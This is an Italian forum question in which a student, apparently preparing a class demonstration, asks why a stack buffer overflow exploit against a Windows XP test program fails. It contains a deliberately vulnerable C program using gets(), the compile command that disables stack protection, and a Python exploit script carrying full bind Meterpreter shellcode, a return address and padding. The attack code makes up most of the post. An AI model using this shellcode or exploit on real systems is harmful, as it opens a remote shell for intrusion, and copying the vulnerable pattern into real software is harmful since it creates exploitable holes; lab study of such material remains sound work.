Durata ESP limitata nel programma di esempio C con sovraccarico del buffer

1

Posso sapere come aumentare la durata di ESP su un programma di esempio c che mi permette di eseguire shellcode nello stack. Tuttavia, a partire da ora, il programma di esempio c ha solo una lunghezza ESP di 61 quindi insufficiente per lo shellcode. Qualsiasi aiuto è apprezzato! Questo è per una dimostrazione di classe per principianti, io sono anche uno studente quindi sono molto nuovo per il buffer overflow.

Programma C di esempio

#include <stdio.h>
#include <string.h>

#pragma warning(disable: 4996)

int root(void)
{

    printf("\n Root privileges given to the user \n");
    return 0;
}

int user(void){

    printf("\n Normal user privileges given to the user \n");
    return 0;
}


int main(void)
{
    char buff[15];
    int pass = 0;
    int max = 15;


    printf("\n Enter the password : \n");
    //fgets(buff, max, stdin);
    gets(buff);

    if (strcmp(buff, "thegeekstuff"))
    {
        printf("\n Wrong Password \n");
    }
    else
    {
        printf("\n Correct Password \n");
        pass = 1;
    }

    if (pass == 1)
    {
        root();
    } else {
        user();
    }

    return 0;
}

Codice Python per exploit (Win86) - bind_tcp_staged_meterpreter [LPORT = 4444]

* Nota: aggiunta un'istruzione per (aggiungere esp, -1500) prima del payload della shell di bind

#! python

import os
import sys
import subprocess
import binascii
import time

ESP_Address = bytes.fromhex('5954C377')

buf =  ""
# Add ESP, -1500
buf += "\x81\xC4\x24\xFA\xFF\xFF"
# Bind Meterpreter Shell
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68"
buf += "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
buf += "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57"
buf += "\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
buf += "\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00"
buf += "\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36"
buf += "\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4"
buf += "\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"


bind_staged_shell_payload = bytes(buf, "utf-8")
Dummy_Data = ("A" * 35).encode()

final_payload = Dummy_Data + ESP_Address + bind_staged_shell_payload

p = subprocess.Popen('buffer_overflow.exe', stdin=subprocess.PIPE) #NOTE: no shell=True here
time.sleep(20)
p.stdin.write(final_payload)
p.communicate()[0]
p.stdin.close()

sys.exit(0)

Codice utilizzato per compilare il programma c in Windows XP SP 1

gcc -Wl,--stack,4194304 -fno-stack-protector -m32 buffer_overflow.c -o buffer_overflow.exe

Ciò che ho provato .... molto imbarazzante senza successo:

  1. Compila programma C con l'opzione -Wl,--stack,4194304

  2. Si è cercato di aumentare le dimensioni dello stack creando variabili dummy con enormi buffer (Apparentemente, riduce la lunghezza di ESP ...)

  3. Esecuzione di cmd come amministratore ...

  4. Disattivazione del firewall

  5. Verifica della connettività con nc IP_ADDRESS 4444 ma connessione rifiutata (shell di binding non generata correttamente dal codice exploit) - utilizzerà il gestore meterpreter una volta stabilita la connettività per il payload di staged

Note

Il programma non si arresta in modo anomalo con lo shellcode come input ... Tuttavia, se viene inserita una stringa con 100 caratteri, il programma si arresta in modo anomalo.

    
posta NoPurposeInLife 15.11.2018 - 14:33
fonte

0 risposte

Leggi altre domande sui tag